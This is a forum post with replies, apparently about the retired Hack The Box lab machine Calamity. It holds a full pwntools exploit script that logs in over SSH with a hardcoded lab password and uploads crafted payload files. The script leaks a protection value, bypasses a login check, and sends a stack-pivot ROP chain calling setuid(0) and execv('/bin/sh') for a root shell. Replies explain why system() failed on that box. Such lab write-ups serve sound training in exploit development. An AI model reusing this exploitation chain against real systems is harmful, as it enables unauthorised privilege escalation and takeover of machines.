Calamity exploit ( stack pivot + setuid(0) + execv("/bin/sh",NULL)

Hi,

I’ve checked the two writeups for Calamity, and because some lack of knowledge on my side I did the BOF exploitation a bit different. Don’t used the mprotect function because don’t know about it. Using ROP managed to execute setuid and execv to spawn the privileged shell, but first I had to pivot ESP to the beggining of the buffer because there wasn’t enough space at the end to fit all the ROP chain.

Anyways I share the way I did it, maybe it’s of interest of someone. It’s a remote exploit made with pwntools after joining all the pieces locally in the machine:

from pwn import *

host="10.10.10.27"
user="xalvas"
password="18547936..*"
RWD="/tmp/"

#connecting via SSH
s=ssh(host=host, user=user, password=password)

#generating the first file payload on RWD\pay1
fname1=RWD+"pay1"
pay1='\x00'*8+'\xf8\x2f\x00\x80' #we change the value of the EBX to leak the protect parameter
log.info("Uploading: Payload1")
s.upload_data(pay1,fname1)

#starting the process
p=s.process("/home/xalvas/app/goodluck")
p.recvuntil(":")
log.info("Sending filename1: "+ fname1)
p.sendline(fname1)
p.recvuntil(":")

#leaking the protect address
p.sendline("2")
p.recvuntil(":")
leak=p.recvline()[:-1]
log.info("Leaking 'protect' value: "+leak)
p.recvuntil(":")

#generating second payload to bypass login using the previous leaked address
leaked=int(leak,16) # transforming string to hex value to work with it
fname2=RWD+"pay2"
#      PADD      LEAKED      HEAP STR ADDR
pay2='\x00'*4+p32(leaked)+'\x08\x49\x00\x80' 
#using leaked value to not trigger hacker protection, and setting EBX to make hey.admin points to non null data to bypass login
log.info("Uploading: Payload2")
s.upload_data(pay2,fname2)

#bypassing login
p.sendline("4")
p.recvuntil(":")
log.info("Sending filename2: "+fname2)
p.sendline(fname2)
p.recvuntil(":")
p.sendline("3")
log.info("Jumping to debug function!!!")

#preparing to take the control of the flow
p.recvuntil('at ')
p.recvuntil('at ')
vuln=int('0x'+p.recvline(),16) #setting the address of the vuln buffer
p.recvline()
log.info("'vuln' param address: "+hex(vuln))
p.recvuntil('Filename:')
#preparing to bof
fname3=RWD+"pay3"

#offset found with help of cyclic() and cyclic_find() -> 76

#Here we require ROP
# Note: at the end, where bof happens, we have to pivot ESP to beginning of vuln because there is no enough space for all the ROP chain
LIBC=0xb7e1a000 #also leaked by the debug function
#ROP objects used, from LIBC. Get them searching with ropper on the libc file loaded by the binary
pop_eax=0x0002406e+LIBC # pop eax; ret;
x_eax_esp=0x00018ea7+LIBC # xchg eax, esp; ret;

SETUID=0x000b12e0+LIBC
EXECV=0x000b08f0+LIBC
CMND=0x15b9ab+LIBC

pay3 = ""
#execute setuid(0) and as return use pop ret to clean the stack after function execution and jump to execv cleanly
pay3+= p32(SETUID)+p32(pop_eax)+p32(0x0) 
#calling execv, exit address is not required in this case, passing as param1 "/bin/sh" address, and as param2 a NULL pointer
pay3+= p32(EXECV)+p32(0x0)+p32(CMND)+p32(0x0) 
#padding to trigger the overflow
pay3+='\x00'*(76-len(pay3))
#stack pivoting -> pop vuln buffer address into EAX and xchg with ESP. Then on ret, ESP will be poiting to vuln buffer start -> setuid(0)
pay3+=p32(pop_eax)+p32(vuln)+p32(x_eax_esp) 

log.info("Uploading: Payload3")
s.upload_data(pay3,fname3)
p.sendline(fname3)

#cleaning
log.info("Cleaning payloads")
s.run("rm "+fname1)
s.run("rm "+fname2)
s.run("rm "+fname3)

#getting the shell
p.interactive()

Nice to see another way to do it, I failed this method because I looked for system() and gave up ! good job

@dostoevskylabs Yes it’s true. I don’t know the reason, but I have usually problems using system(), and prefer to use execv() directly. Maybe missing include directives? I would like to know why this happens… Thanks!

Great job, didn’t think to do a full ROP chain, very clever solution! Nice use of pwntools too!

As for system I think c++11 - c++ system() raises ENOMEM - Stack Overflow may be to blame? I can’t say for sure though, I also ran into issues with it

edit:sorry python3

Here is what’s going with system() on Calamity (IF I remember correctly):

p system
$7 = {<text variable, no debug info>} 0xb7e54da0 <__libc_system>
this function is problematic on purpose
vulnerable pointer is at bffffbe0
...
b7e1a000-b7e54000 r-xp 00000000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7e54000-b7e55000 r--p 0003a000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7e55000-b7fca000 r-xp 0003b000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7fca000-b7fcc000 r--p 001af000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7fcc000-b7fcd000 rw-p 001b1000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
....

The memory area (b7e54000-b7e55000) -where libc’s system() is located- lacks execution privileges (I think this is due to one of the two mprotect calls).

Moreover libc contains some security mitigations where when you call system() with \bin\sh as argument it drops the privileges (if euid != uid).